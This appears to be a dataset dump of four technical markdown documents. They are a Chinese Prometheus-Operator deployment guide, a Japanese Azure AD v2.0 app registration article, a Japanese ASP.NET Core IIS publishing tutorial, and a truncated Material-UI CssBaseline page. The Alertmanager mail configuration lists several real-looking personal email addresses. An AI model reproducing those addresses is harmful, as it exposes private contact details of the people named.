code
stringlengths 30
403k
| size
int64 31
406k
| license
stringclasses 10
values |
|---|---|---|
---
layout: post
title: "prometheus-operator"
date: 2019-04-21 15:08:34 +0800
catalog: ture
multilingual: false
tags:
- kubernetes
- prometheus
---
[TOC]
### Prometheus的基本架构
Prometheus是一个开源的完整监控解决方案，涵盖数据采集、查询、告警、展示整个监控流程，下图是Prometheus的架构图：
#### Prometheus Server
Prometheus Server是Prometheus组件中的核心部分，负责实现对监控数据的获取，存储以及查询。 Prometheus Server可以通过`静态配置`管理`监控目标`，也可以配合使用Service Discovery的方式动态管理监控目标，并从这些监控目标中获取数据。其次Prometheus Server需要对采集到的监控数据进行存储，Prometheus Server本身就是一个时序数据库，将采集到的监控数据按照时间序列的方式存储在本地磁盘当中。最后Prometheus Server对外提供了自定义的PromQL语言，实现对数据的查询以及分析。
Prometheus Server内置的Express Browser UI，通过这个UI可以直接通过PromQL实现数据的查询以及可视化。
Prometheus Server的联邦集群能力可以使其从其他的Prometheus Server实例中获取数据，因此在大规模监控的情况下，可以通过联邦集群以及功能分区的方式对Prometheus Server进行扩展。
#### Exporters
Exporter将监控数据采集的端点通过HTTP服务的形式暴露给Prometheus Server，Prometheus Server通过访问该Exporter提供的Endpoint端点，即可获取到需要采集的监控数据。
一般来说可以将Exporter分为2类：
- 直接采集：这一类Exporter直接内置了对Prometheus监控的支持，比如cAdvisor，Kubernetes，Etcd，Gokit等，都直接内置了用于向Prometheus暴露监控数据的端点。
- 间接采集：间接采集，原有监控目标并不直接支持Prometheus，因此我们需要通过Prometheus提供的Client Library编写该监控目标的监控采集程序。例如： Mysql Exporter，JMX Exporter，Consul Exporter等。
#### AlertManager
在Prometheus Server中支持基于PromQL创建告警规则，如果满足PromQL定义的规则，则会产生一条告警，而告警的后续处理流程则由AlertManager进行管理。在AlertManager中我们可以与邮件，Slack等等内置的通知方式进行集成，也可以通过Webhook自定义告警处理方式。AlertManager即Prometheus体系中的告警处理中心。
#### PushGateway
由于Prometheus数据采集基于Pull模型进行设计，因此在网络环境的配置上必须要让Prometheus Server能够直接与Exporter进行通信。 当这种网络需求无法直接满足时，就可以利用PushGateway来进行中转。可以通过PushGateway将内部网络的监控数据主动Push到Gateway当中。而Prometheus Server则可以采用同样Pull的方式从PushGateway中获取到监控数据。
#### prometheus配置文件
```toml
# Prometheus全局配置项
global:
scrape_interval: 15s # 设定抓取数据的周期，默认为1min
evaluation_interval: 15s # 设定更新rules文件的周期，默认为1min
scrape_timeout: 15s # 设定抓取数据的超时时间，默认为10s
external_labels: # 额外的属性，会添加到拉取得数据并存到数据库中
monitor: 'codelab_monitor'
# Alertmanager配置
alerting:
alertmanagers:
- static_configs:
- targets: ["localhost:9093"] # 设定alertmanager和prometheus交互的接口，即alertmanager监听的ip地址和端口
# rule配置，首次读取默认加载，之后根据evaluation_interval设定的周期加载
rule_files:
- "alertmanager_rules.yml"
- "prometheus_rules.yml"
# scape配置
scrape_configs:
- job_name: 'prometheus' # job_name默认写入timeseries的labels中，可以用于查询使用
scrape_interval: 15s # 抓取周期，默认采用global配置
static_configs: # 静态配置
- targets: ['localdns:9090'] # prometheus所要抓取数据的地址，即instance实例项
- job_name: 'example-random'
static_configs:
- targets: ['localhost:8080']
```
### Prometheus报警
promethus的告警被分成两个部分：
1. 通过在Prometheus中定义告警触发条件规则，并向Alertmanager发送告警信息
2. Alertmanager作为一个独立的组件，负责接收并处理来自Prometheus的告警信息
在Prometheus全局配置文件中`prometheus.yml`通过`rule_files`指定一组告警规则文件的访问路径。Prometheus启动后会自动扫描这些路径下规则文件中定义的内容，并且根据这些规则计算是否向外部发送通知
### Prometheus-Operator
#### 架构
上图是`Prometheus-Operator`官方提供的架构图，其中`Operator`是最核心的部分，作为一个控制器，他会去创建`Prometheus`、`ServiceMonitor`、`AlertManager`以及`PrometheusRule`4个`CRD`资源对象，然后会一直监控并维持这4个资源对象的状态。
其中创建的`prometheus`这种资源对象就是作为`Prometheus Server`存在，而`ServiceMonitor`就是`exporter`的各种抽象，`exporter`前面我们已经学习了，是用来提供专门提供`metrics`数据接口的工具，`Prometheus`就是通过`ServiceMonitor`提供的`metrics`数据接口去 pull 数据的，当然`alertmanager`这种资源对象就是对应的`AlertManager`的抽象，而`PrometheusRule`是用来被`Prometheus`实例使用的报警规则文件。
这样我们要在集群中监控什么数据，就变成了直接去操作 Kubernetes 集群的资源对象了，是不是方便很多了。上图中的 Service 和 ServiceMonitor 都是 Kubernetes 的资源，一个 ServiceMonitor 可以通过 labelSelector 的方式去匹配一类 Service，Prometheus 也可以通过 labelSelector 去匹配多个ServiceMonitor。
#### CustomResourceDefinitions
The Operator acts on the following [custom resource definitions (CRDs)](https://kubernetes.io/docs/tasks/access-kubernetes-api/extend-api-custom-resource-definitions/):
- **Prometheus**, which defines a desired Prometheus deployment. The Operator ensures at all times that a deployment matching the resource definition is running.
- **ServiceMonitor**, which declaratively specifies how groups of services should be monitored. The Operator automatically generates Prometheus scrape configuration based on the definition.
- **PrometheusRule**, which defines a desired Prometheus rule file, which can be loaded by a Prometheus instance containing Prometheus alerting and recording rules.
- **Alertmanager**, which defines a desired Alertmanager deployment. The Operator ensures at all times that a deployment matching the resource definition is running.
To learn more about the CRDs introduced by the Prometheus Operator have a look at the [design doc](https://github.com/coreos/prometheus-operator/blob/master/Documentation/design.md).
### Prometheus-Operator部署
[github](<https://github.com/coreos/prometheus-operator>)
#### 搜索最新包下载到本地
```bash
# 搜索
helm search prometheus-operator
NAME CHART VERSION APP VERSION DESCRIPTION
stable/prometheus-operator 5.0.7 0.29.0 Provides easy monitoring definitions for Kubernetes servi...
# 拉取到本地
helm fetch prometheus-operator
```
#### 安装
```bash
# 安装
helm install -f ./prometheus-operator/values.yaml --name prometheus-operator --namespace=monitoring ./prometheus-operator
# 更新
helm upgrade -f prometheus-operator/values.yaml prometheus-operator ./prometheus-operator
```
#### 卸载prometheus-operator
```bash
# helm delete
helm delete prometheus-operator --purge
# 删除crd
kubectl delete customresourcedefinitions prometheuses.monitoring.coreos.com prometheusrules.monitoring.coreos.com servicemonitors.monitoring.coreos.com
alertmanagers.monitoring.coreos.com
```
#### 配置operator
##### mail
```bash
config:
global:
resolve_timeout: 5m
smtp_smarthost: 'mail.163.com:25'
smtp_from: 'llussy@163.com'
smtp_auth_username: 'llussy'
smtp_auth_password: 'password'
smtp_require_tls: false
# slack_api_url: '<slack_api_url>'
templates:
- '/etc/alertmanager/config/*.tmpl'
route:
group_by: ['job']
group_wait: 30s
group_interval: 5m
repeat_interval: 5m
receiver: 'default-receiver'
routes:
- receiver: loki-app1
match:
namespace: loki
app: app1
receivers:
- name: 'default-receiver'
email_configs:
- to: '15100499406@163.com'
- name: 'loki-app1'
email_configs:
- to: '297022664@qq.com,1299310393@qq.com'
```
##### 持久化
```bash
storage:
volumeClaimTemplate:
spec:
storageClassName: ceph-rbd
accessModes: ["ReadWriteOnce"]
resources:
requests:
storage: 5Gi
```
##### 查看alertmanager配置文件
```bash
kubectl -n monitoring get secrets alertmanager-prometheus-operator-alertmanager -o yaml
echo "xxxxx" |base64 -d
```
##### 查看prometheus配置文件
```bash
kubectl get secrets -n monitoring prometheus-prometheus-operator-prometheus -o yaml
# 内容为base64加密的prometheus.yaml.gz
echo "xxxxx" | base64 -d | gunzip
```
#### 服务发现
**测试Service/Pod的metrics时,发现metrics信息并不能被prometheus-operator自动收集到，之前的prometheus没有这个问题。**
prometheus-operator没有开启服务发现自动监控时，使用prometheus-operator获取Service/Pod的metrics信息，必须创建相应的ServiceMonitor对象。
(ServiceMonitor是Prometheus Operator中抽象的概念，他的作用就是让配置Prometheus采集Target的配置变化成动态发现的方式，ServiceMonitor通过Deployment对应的Service配置进行挂钩，通过label selector选择Service，并自动发现后端容器。)
**一个ServiceMonitor例子** [详细信息请点击](https://www.twblogs.net/a/5c7dffcebd9eee35cd68ec81)
```yaml
apiVersion: monitoring.coreos.com/v1
kind: ServiceMonitor
metadata:
labels:
app: nginx-demo
release: prometheus-operator
name: nginx-demo
namespace: monitoring
#prometheus的namespace
spec:
endpoints:
- interval: 15s
port: http-metrics
namespaceSelector:
matchNames:
- default
#nginx demo的namespace
selector:
matchLabels:
app: nginx-demo
```
一个一个创建ServiceMonitor对象太过复杂，为解决上面的问题，Prometheus Operator 为我们提供了一个额外的抓取配置的来解决这个问题，我们可以通过添加额外的配置来进行服务发现进行自动监控。我们想要在 Prometheus Operator 当中去自动发现并监控具有`prometheus.io/scrape=true`这个 annotations 的 Service。需要修改prometheus-operator的配置。
我们的prometheus-operator都是helm安装的，编辑`value.yaml`文件，修改` additionalScrapeConfigs`部分：
##### 抓取service metrics
```yaml
additionalScrapeConfigs:
- job_name: 'kubernetes-service-endpoints'
kubernetes_sd_configs:
- role: endpoints
namespaces:
names:
- kube-system #这里使用ns过滤
- anfeng-ad-k8s-loda
relabel_configs:
- source_labels: [__meta_kubernetes_service_annotation_prometheus_io_scrape]
action: keep
regex: true
- source_labels: [__meta_kubernetes_service_annotation_prometheus_io_scheme]
action: replace
target_label: __scheme__
regex: (https?)
- source_labels: [__meta_kubernetes_service_annotation_prometheus_io_path]
action: replace
target_label: __metrics_path__
regex: (.+)
- source_labels: [__address__, __meta_kubernetes_service_annotation_prometheus_io_port]
action: replace
target_label: __address__
regex: ([^:]+)(?::\d+)?;(\d+)
replacement: $1:$2
- action: labelmap
regex: __meta_kubernetes_service_label_(.+)
- source_labels: [__meta_kubernetes_namespace]
action: replace
target_label: kubernetes_namespace
- source_labels: [__meta_kubernetes_service_name]
action: replace
target_label: kubernetes_name
```
##### 抓取pod metrics
```yaml
- job_name: 'kubernetes-pod'
kubernetes_sd_configs:
- role: pod
relabel_configs:
- source_labels: [__meta_kubernetes_pod_annotation_prometheus_io_scrape]
action: keep
regex: true
- source_labels: [__meta_kubernetes_pod_annotation_prometheus_io_path]
action: replace
target_label: __metrics_path__
regex: (.+)
- source_labels: [__address__, __meta_kubernetes_pod_annotation_prometheus_io_port]
action: replace
regex: ([^:]+)(?::\d+)?;(\d+)
replacement: $1:$2
target_label: __address__
- action: labelmap
regex: __meta_kubernetes_pod_label_(.+)
- source_labels: [__meta_kubernetes_namespace]
action: replace
target_label: kubernetes_namespace
- source_labels: [__meta_kubernetes_pod_name]
action: replace
target_label: kubernetes_pod_name
```
##### 抓取etcd metrics
对于 etcd 集群一般情况下，为了安全都会开启 https 证书认证的方式，所以要想让 Prometheus 访问到 etcd 集群的监控数据，就需要提供相应的证书校验。
**手工获取**
```bash
curl --cacert /etc/etcd/ssl/etcd-ca.pem --cert /etc/etcd/ssl/etcd.pem --key /etc/etcd/ssl/etcd-key.pem https://10.21.8.24:2379/metrics
```
**operator抓取**
创建secret
```bash
kubectl -n monitoring create secret generic etcd-certs --from-file=/etc/etcd/ssl/etcd-ca.pem --from-file=/etc/etcd/ssl/etcd.pem --from-file=/etc/etcd/ssl/etcd-key.pem
```
修改value.yaml
```yaml
kubeEtcd:
enabled: true
## If your etcd is not deployed as a pod, specify IPs it can be found on
##
endpoints:
- 10.21.8.24
- 10.21.8.25
- 10.21.8.26
## Etcd service. If using kubeEtcd.endpoints only the port and targetPort are used
##
service:
port: 2379
targetPort: 2379
selector:
component: etcd
## Configure secure access to the etcd cluster by loading a secret into prometheus and
## specifying security configuration below. For example, with a secret named etcd-client-cert
##
serviceMonitor:
scheme: https
insecureSkipVerify: false
#serverName: localhost
caFile: /etc/prometheus/secrets/etcd-certs/etcd-ca.pem
certFile: /etc/prometheus/secrets/etcd-certs/etcd.pem
keyFile: /etc/prometheus/secrets/etcd-certs/etcd-key.pem
```
##### 抓取k8s集群外metrics
```yaml
- job_name: 'external-metrics'
static_configs:
- targets: ['10.21.8.105']
metrics_path: '/metrics'
```
##### 抓取ServiceMonitors
抓取svc的metrics可能和默认配置的有重复，可以使用抓取ServiceMonitors来获取metrics,修改`value.yaml`的`additionalServiceMonitors`部分：
```yaml
# 抓取开启metrics监控的，port名字为k8s-metrics的监控数据。
additionalServiceMonitors:
- name: "k8s-metrics"
namespaceSelector:
any: true
endpoints:
- port: k8s-metrics
path: /metrics
scheme: http
interval: 60s
honorLabels: true
# svc例子
# kubectl get svc -n test-k8s-loda nginx-test-svc -o yaml
apiVersion: v1
kind: Service
metadata:
annotations:
prometheus.io/port: "9527"
prometheus.io/scrape: "true"
labels:
monitor: metrics
name: nginx-test-svc
namespace: test-k8s-loda
spec:
clusterIP: 10.97.140.23
ports:
- name: tcp80
port: 80
protocol: TCP
targetPort: 80
- name: k8s-metrics
port: 9527
protocol: TCP
targetPort: 9527
selector:
app: nginx-test
from: deploy
ns: test-k8s-loda
sessionAffinity: None
type: ClusterIP
status:
loadBalancer: {}
```
**prometheus**
#### 配置prometheus-operator自定义报警
**PrometheusRule就是报警规则**
查看`prometheuses.monitoring.coreos.com`的matchLabels部分，保障PrometheusRule labels拥有。
```yaml
# kubectl -n monitoring get prometheuses.monitoring.coreos.com prometheus-operator-prometheus -o yaml
ruleSelector:
matchLabels:
app: prometheus-operator
release: prometheus-operator
```
**PrometheusRule**
label可以和alermanager邮件接收部分匹配，不同的报警发给不同的报警人
```yaml
apiVersion: monitoring.coreos.com/v1
kind: PrometheusRule
metadata:
name: prometheus-operator-0226-lisai-grafana
labels:
app: prometheus-operator
release: prometheus-operator
namespace: monitoring
spec:
groups:
- name: kubernetes-0226-lisai
rules:
- alert: grafana mem
annotations:
message: grafana mem big
runbook_url: https://github.com/kubernetes-monitoring/kubernetes-mixin/tree/master/runbook.md#alert-name-kubepersistentvolumeusagecritical
expr: |-
sum(container_memory_usage_bytes{namespace="loki",pod_name=~"loki.*"}) / 1024^3 > 1
for: 1m
labels:
namespace: loki
app: app1
- alert: timetimetime
annotations:
message: time big
runbook_url: https://github.com/kubernetes-monitoring/kubernetes-mixin/tree/master/runbook.md#alert-name-kubepersistentvolumeusagecritical
generatorURL: "http://prometheus.test.cloud.idc.com"
expr: |-
sum(container_memory_usage_bytes{namespace="monitoring",pod_name=~"prometheus.*"}) / 1024^3 > 10
for: 1m
labels:
namespace: monitoring
app: app2
- alert: timetimetime
annotations:
message: time big
runbook_url: https://github.com/kubernetes-monitoring/kubernetes-mixin/tree/master/runbook.md#alert-name-kubepersistentvolumeusagecritical
generatorURL: "http://prometheus.test.cloud.idc.com"
expr: |-
sum(container_memory_usage_bytes{namespace="monitoring",pod_name=~"prometheus.*"}) / 1024^3 > 10
for: 1m
labels:
namespace: monitoring
app: app2
```
### 参考
[prometheus核心组件](<https://yunlzheng.gitbook.io/prometheus-book/parti-prometheus-ji-chu/quickstart/prometheus-arch>)
[Prometheus Operator](<https://www.troyying.xyz/index.php/operate/15.html>)
[Prometheus Operator 高级配置 Prometheus Operator 自动发现以及数据持久化](<https://blog.csdn.net/hxpjava1/article/details/86647217>)
[Prometheus Operator 监控 etcd 集群](<https://www.qikqiak.com/post/prometheus-operator-monitor-etcd/>)
[全手动部署prometheus-operator监控K8S集群以及一些坑](<https://zhangguanzhang.github.io/2018/10/12/prometheus-operator/>)
[使用Prometheus Operator實現應用自定義監控](<https://www.twblogs.net/a/5c7dffcebd9eee35cd68ec81>)
[Prometheus Operator 初体验](<https://www.qikqiak.com/post/first-use-prometheus-operator/>)
[Prometheus 和 Alertmanager实战配置](https://www.cnblogs.com/longcnblogs/p/9620733.html)
[使用alertmanager实现微信报警](<http://www.strugglesquirrel.com/2018/06/13/%E4%BD%BF%E7%94%A8alertmanager%E5%AE%9E%E7%8E%B0%E5%BE%AE%E4%BF%A1%E6%8A%A5%E8%AD%A6/>) | 16,127 | Apache-2.0 |
<properties
pageTitle="v2.0 アプリケーションの登録 | Microsoft Azure"
description="v2.0 エンドポイントを使用し、アプリケーションを Microsoft に登録して Microsoft サービスへのサインインとアクセスを有効にする方法"
services="active-directory"
documentationCenter=""
authors="dstrockis"
manager="mbaldwin"
editor=""/>
<tags
ms.service="active-directory"
ms.workload="identity"
ms.tgt_pltfrm="na"
ms.devlang="na"
ms.topic="article"
ms.date="05/31/2016"
ms.author="dastrock"/>
# v2.0 エンドポイントを使用してアプリケーションを登録する方法
MSA および Azure AD サインインの両方を受け付けるアプリを構築するには、最初に、アプリを Microsoft に登録する必要があります。現時点では、Azure AD または MSA で利用している既存のアプリは使用できません。新しいアプリを作成してください。
> [AZURE.NOTE]
Azure Active Directory のシナリオおよび機能のすべてが v2.0 エンドポイントでサポートされているわけではありません。v2.0 エンドポイントを使用する必要があるかどうかを判断するには、[v2.0 の制限事項](active-directory-v2-limitations.md)に関するページをお読みください。
## Microsoft アプリ登録ポータルにアクセスする
まず、[https://apps.dev.microsoft.com](https://apps.dev.microsoft.com) に移動します。これは、マイクロソフトのアプリに関するあらゆることを管理できる新しいアプリ登録ポータルです。
Microsoft の個人または職場/学校アカウントのいずれかでサインインします。いずれのアカウントもをお持ちでない場合は、新しい個人アカウントを新規登録します。簡単に登録できますので、今すぐサインアップしましょう。
サインアップできましたか? おそらく空の Microsoft アプリの一覧が表示されているはずです。これを変更してみましょう。
**[アプリの追加]** をクリックし、名前を付けます。ポータルにより、アプリにグローバルに一意のアプリケーション ID が割り当てられます。これは、後ほどコードで使用します。アプリに API を呼び出すためのアクセス トークンが必要なサーバー側コンポーネントが含まれる場合 (Office、Azure、独自の Web API など)、**アプリケーションのシークレット**を作成することもできます。
<!-- TODO: Link for app secrets -->
次に、アプリで使用するプラットフォームを追加します。
- Web ベースのアプリの場合、サインイン メッセージを送信できる**リダイレクト URI** を指定します。
- モバイル アプリの場合、自動的に作成される既定のリダイレクト URI をメモしておきます。
必要に応じて、[プロファイル] セクションでサインイン ページの外観をカスタマイズできます。続行する前に、忘れずに **[保存]** をクリックします。
> [AZURE.NOTE] [https://apps.dev.microsoft.com](https://apps.dev.microsoft.com) を使用して作成したアプリケーションは、このポータルへのサインインに使用しているアカウントのホーム テナントに登録されます。つまり、個人の Microsoft アカウントを使用して Azure AD テナントにアプリケーションを登録することはできません。アプリケーションを特定のテナントに登録する場合は、そのテナントで作成したアカウントを使ってサインインしてください。
## クイック スタート アプリケーションを構築する
Microsoft アプリを構築したら、いずれかの v2.0 クイック スタート チュートリアルを実行します。以下に、推奨事項をいくつか示します。
[AZURE.INCLUDE [active-directory-v2-quickstart-table](../../includes/active-directory-v2-quickstart-table.md)]
<!---HONumber=AcomDC_0608_2016--> | 2,076 | CC-BY-3.0 |
---
title: IIS に ASP.NET Core アプリを発行する
author: rick-anderson
description: IIS サーバーで ASP.NET Core アプリをホストする方法を説明します。
monikerRange: '>= aspnetcore-2.1'
ms.author: riande
ms.custom: mvc
ms.date: 10/03/2019
no-loc:
- appsettings.json
- ASP.NET Core Identity
- cookie
- Cookie
- Blazor
- Blazor Server
- Blazor WebAssembly
- Identity
- Let's Encrypt
- Razor
- SignalR
uid: tutorials/publish-to-iis
ms.openlocfilehash: b3c714ea8e741430df1f70b2df258f1e8f1c7ad5
ms.sourcegitcommit: ca34c1ac578e7d3daa0febf1810ba5fc74f60bbf
ms.translationtype: HT
ms.contentlocale: ja-JP
ms.lasthandoff: 10/30/2020
ms.locfileid: "93060509"
---
# <a name="publish-an-aspnet-core-app-to-iis"></a>IIS に ASP.NET Core アプリを発行する
このチュートリアルでは、IIS サーバーで ASP.NET Core アプリをホストする方法を示します。
このチュートリアルでは、次の件について取り上げます。
> [!div class="checklist"]
> * .NET Core ホスティング バンドルを Windows Server にインストールします。
> * IIS サイトを IIS マネージャーで作成します。
> * ASP.NET Core アプリを展開します。
## <a name="prerequisites"></a>必須コンポーネント
* 開発用のコンピューターにインストールされている [.NET Core SDK](/dotnet/core/sdk)。
* **Web Server (IIS)** サーバー ロールで構成された Windows Server。 IIS で Web サイトをホストするようにサーバーが構成されていない場合、<xref:host-and-deploy/iis/index#iis-configuration> 記事の「 *IIS 構成* 」セクションの指示に従い、その後、このチュートリアルに戻ってください。
> [!WARNING]
> **IIS 構成と Web サイトのセキュリティには、このチュートリアルでは説明されていない概念が含まれています。** IIS で本稼働アプリをホストする前に、[Microsoft IIS ドキュメント](https://www.iis.net/)と [IIS でホストする方法に関する ASP.NET Core 記事](xref:host-and-deploy/iis/index)を参照してください。
>
> このチュートリアルで取り上げられていない IIS ホスティングの重要なシナリオ:
>
> * [ASP.NET Core データ保護のためのレジストリ ハイブの作成](xref:host-and-deploy/iis/index#data-protection)
> * [アプリ プールのアクセス制御リスト (ACL) の構成](xref:host-and-deploy/iis/index#application-pool-identity)
> * IIS 配置の概念を集中的に取り上げるために、このチュートリアルでは、IIS で HTTPS セキュリティを構成せずにアプリを展開します。 HTTPS プロトコルに対して有効にするアプリをホストする方法については、この記事の「[その他の技術情報](#additional-resources)」セクションのセキュリティ トピックをご覧ください。 ASP.NET Core アプリのホスティングに関するその他の情報は <xref:host-and-deploy/iis/index> 記事にあります。
## <a name="install-the-net-core-hosting-bundle"></a>.NET Core ホスティング バンドルのインストール
*.NET Core ホスティング バンドル* を IIS サーバーにインストールします。 このバンドルをインストールすることで、.NET Core ランタイム、.NET Core ライブラリ、[ASP.NET Core モジュール](xref:host-and-deploy/aspnet-core-module)がインストールされます。 このモジュールでは、ASP.NET Core アプリが IIS の背後で実行できるようになります。
次のリンクを使用してインストーラーをダウンロードします。
[現在の .NET Core ホスティング バンドルのインストーラー (直接ダウンロード)](https://dotnet.microsoft.com/permalink/dotnetcore-current-windows-runtime-bundle-installer)
1. IIS サーバーでインストーラーを実行します。
1. サーバーを再起動するか、コマンド シェルで `net stop was /y` に続けて `net start w3svc` を実行します。
## <a name="create-the-iis-site"></a>IIS サイトを作成する
1. IIS サーバーで、アプリの公開フォルダーとファイルを格納するフォルダーを作成します。 以下の手順では、フォルダーのパスはアプリへの物理パスとして IIS に提供されます。 アプリの配置フォルダーとファイル レイアウトについて詳しくは、<xref:host-and-deploy/directory-structure> をご覧ください。
1. IIS マネージャーの **[接続]** パネルで、サーバーのノードを開きます。 **[サイト]** フォルダーを右クリックします。 コンテキスト メニューで **[Web サイトの追加]** を選択します。
1. **[サイト名]** を指定し、 **[物理パス]** には作成したアプリの配置フォルダーを設定します。 **[バインド]** の構成を指定して **[OK]** を選択し、Web サイトを作成します。
> [!WARNING]
> 最上位のワイルドカードのバインド ( `http://*:80/` と `http://+:80` ) は使用しては **いけません** 。 最上位のワイルドカードのバインドは、セキュリティの脆弱性に対してアプリを切り開くことができます。 これは、強力と脆弱の両方のワイルドカードに適用されます。 ワイルドカードではなく、明示的なホスト名を使用します。 全体の親ドメインを制御する場合、サブドメイン ワイルドカード バインド (たとえば、`*.mysub.com`) にこのセキュリティ リスクはありません (脆弱である `*.com` とは対照的)。 詳細については、[rfc7230 セクション-5.4](https://tools.ietf.org/html/rfc7230#section-5.4) を参照してください。
1. プロセス モデル ID に適切なアクセス許可があることを確認します。
アプリ プールの既定の ID ( **[プロセス モデル]** > **[Identity]** ) を `ApplicationPoolIdentity` から別の ID に変更した場合は、アプリのフォルダー、データベース、その他の必要なリソースにアクセスするために要求されるアクセス許可が新しい ID に設定されていることを確認します。 たとえば、アプリケーション プールには、アプリがファイルの読み取りおよび書き込みを行うフォルダーへの読み取りおよび書き込みアクセスが必要です。
## <a name="create-an-aspnet-core-no-locrazor-pages-app"></a>ASP.NET Core Razor Pages アプリを作成する
<xref:getting-started> チュートリアルに従い、Razor Pages アプリを作成します。
## <a name="publish-and-deploy-the-app"></a>アプリを発行および配置する
" *アプリを発行する* " とは、サーバーでホストできるコンパイル済みのアプリを生成するということです。 " *アプリを展開する* " とは、発行済みのアプリをホスティング システムに移動するということです。 発行手順は [.NET Core SDK](/dotnet/core/sdk) で処理されます。一方で、展開手順はさまざまな手法で処理できます。 このチュートリアルでは、" *フォルダー* " 展開手法を採用しています。
* アプリはフォルダーに発行されます。
* フォルダーの内容が IIS サイトのフォルダーに移動されます (IIS マネージャーのサイトの **物理パス** )。
# <a name="visual-studio"></a>[Visual Studio](#tab/visual-studio)
1. **[ソリューション エクスプローラー]** でプロジェクトを右クリックし、 **[発行]** を選択します。
1. **[発行先を選択]** ダイアログで、 **[フォルダー]** 発行オプションを選択します。
1. **フォルダーまたはファイル共有** パスを選択します。
* ネットワーク共有として開発用のコンピューターで利用できる IIS サイトのフォルダーを作成した場合、共有へのパスを指定します。 現在のユーザーに、共有に発行するための書き込みアクセスを与える必要があります。
* IIS サーバー上の IIS サイト フォルダーに直接展開できない場合、リムーバブル メディア上のフォルダーに発行し、IIS マネージャーでサイトの **物理パス** である、サーバー上の IIS サイト フォルダーに発行済みのアプリを物理的に移動します。 IIS マネージャーでサイトの **物理パス** である、サーバー上の IIS サイト フォルダーに `bin/Release/{TARGET FRAMEWORK}/publish` フォルダーの内容を移動します。
# <a name="net-core-cli"></a>[.NET Core CLI](#tab/netcore-cli)
1. コマンド シェルで、[dotnet publish](/dotnet/core/tools/dotnet-publish) コマンドを使用してリリース構成でアプリを発行します。
```dotnetcli
dotnet publish --configuration Release
```
1. IIS マネージャーでサイトの **物理パス** である、サーバー上の IIS サイト フォルダーに `bin/Release/{TARGET FRAMEWORK}/publish` フォルダーの内容を移動します。
# <a name="visual-studio-for-mac"></a>[Visual Studio for Mac](#tab/visual-studio-mac)
1. **[ソリューション]** でプロジェクトを右クリックし、 **[発行]** > **[フォルダーに発行]** の順に選択します。
1. **[フォルダーを選択してください]** パスを設定します。
* ネットワーク共有として開発用のコンピューターで利用できる IIS サイトのフォルダーを作成した場合、共有へのパスを指定します。 現在のユーザーに、共有に発行するための書き込みアクセスを与える必要があります。
* IIS サーバー上の IIS サイト フォルダーに直接展開できない場合、リムーバブル メディア上のフォルダーに発行し、IIS マネージャーでサイトの **物理パス** である、サーバー上の IIS サイト フォルダーに発行済みのアプリを物理的に移動します。 IIS マネージャーでサイトの **物理パス** である、サーバー上の IIS サイト フォルダーに `bin/Release/{TARGET FRAMEWORK}/publish` フォルダーの内容を移動します。
---
## <a name="browse-the-website"></a>Web サイトを閲覧する
アプリには、最初の要求の受信後、ブラウザーでアクセスできます。 サイトの IIS マネージャーで設定したエンドポイント バインドでアプリへの要求を行います。
## <a name="next-steps"></a>次の手順
このチュートリアルでは、次の作業を行う方法を学びました。
> [!div class="checklist"]
> * .NET Core ホスティング バンドルを Windows Server にインストールします。
> * IIS サイトを IIS マネージャーで作成します。
> * ASP.NET Core アプリを展開します。
IIS で ASP.NET Core アプリをホストする方法の詳細については、IIS の概要に関する記事を参照してください。
> [!div class="nextstepaction"]
> <xref:host-and-deploy/iis/index>
## <a name="additional-resources"></a>その他の技術情報
### <a name="articles-in-the-aspnet-core-documentation-set"></a>ASP.NET Core ドキュメント セットの記事
* <xref:host-and-deploy/aspnet-core-module>
* <xref:host-and-deploy/directory-structure>
* <xref:test/troubleshoot-azure-iis>
* <xref:security/enforcing-ssl>
### <a name="articles-pertaining-to-aspnet-core-app-deployment"></a>ASP.NET Core アプリの展開に関する記事
* <xref:tutorials/publish-to-azure-webapp-using-vs>
* <xref:tutorials/publish-to-azure-webapp-using-vscode>
* <xref:host-and-deploy/visual-studio-publish-profiles>
* [Visual Studio for Mac を使用してフォルダーに Web アプリを発行する](/visualstudio/mac/publish-folder)
### <a name="articles-on-iis-https-configuration"></a>IIS HTTPS 構成に関する記事
* [IIS マネージャーで SSL を構成する](/iis/manage/configuring-security/configuring-ssl-in-iis-manager)
* [IIS で SSL を設定する方法](/iis/manage/configuring-security/how-to-set-up-ssl-on-iis)
### <a name="articles-on-iis-and-windows-server"></a>IIS と Windows Server に関する記事
* [Microsoft IIS 公式サイト](https://www.iis.net/)
* [Windows Server テクニカル コンテンツ ライブラリ](/windows-server/windows-server)
### <a name="deployment-resources-for-iis-administrators"></a>IIS 管理者用の展開リソース
* [IIS ドキュメント ](/iis)
* [IIS での IIS マネージャーの概要](/iis/get-started/getting-started-with-iis/getting-started-with-the-iis-manager-in-iis-7-and-iis-8)
* [.NET Core アプリケーションの展開](/dotnet/core/deploying/)
* <xref:host-and-deploy/aspnet-core-module>
* <xref:host-and-deploy/directory-structure>
* <xref:host-and-deploy/iis/modules>
* <xref:test/troubleshoot-azure-iis>
* <xref:host-and-deploy/azure-iis-errors-reference> | 7,619 | CC-BY-4.0 |
---
components: CssBaseline, ScopedCssBaseline
---
# CSS Baseline 基线
<p class="description">Material-UI 提供了一个 CssBaseline 组件，用于启动一个优雅、一致且简单的基线。</p>
## Global reset
您可能对 [normailize.css](https://github.com/necolas/normalize.css)比较熟悉，而这是一个 HTML 元素和样式规范化的属性的集合。
```jsx
import React from 'react';
import CssBaseline from '@material-ui/core/CssBaseline';
export default function MyApp() {
return (
<React.Fragment>
<CssBaseline />
{/* The rest of your application */}
</React.Fragment>
);
}
```
## Scoping on children
However, you might be progressively migrating a website to Material-UI, using a global reset might not be an option. It's possible to apply the baseline only to the children by using the `ScopedCssBaseline` component.
```jsx
import React from 'react';
import ScopedCssBaseline from '@material-ui/core/ScopedCssBaseline';
import MyApp from './MyApp';
export default function MyApp() {
return (
<ScopedCssBaseline>
{/* The rest of your application */}
<MyApp />
</ScopedCssBaseline>
);
}
```
⚠️ Make sure you import `ScopedCssBaseline` first to avoid box-sizing conflicts as in the above example.
## 方法
### 页面
我们更新了 `<html>` 和 `<body>` 元素，这样能够更好地设置页面范围的默认设置。 具体来说：
- 所有浏览器中的边距将会被删除。
- Material Design 的背景颜色会默认地被应用。 它使用 [`theme.palette.background.default`](/customization/default-theme/?expand-path=$.palette.background) 在标准设备上而在打印设备上使用白色背景。
### 布局
- 在 `<html>` 元素里面，我们将 `box-sizing` 全局设置为 `border-box`。 这样一来，包括 `*:: before` 和 `*:: after` 的每个元素，都会被声明来继承这个属性，这样能够确保元素的声明宽度永远不会超过 padding 或者 border。
### Typography
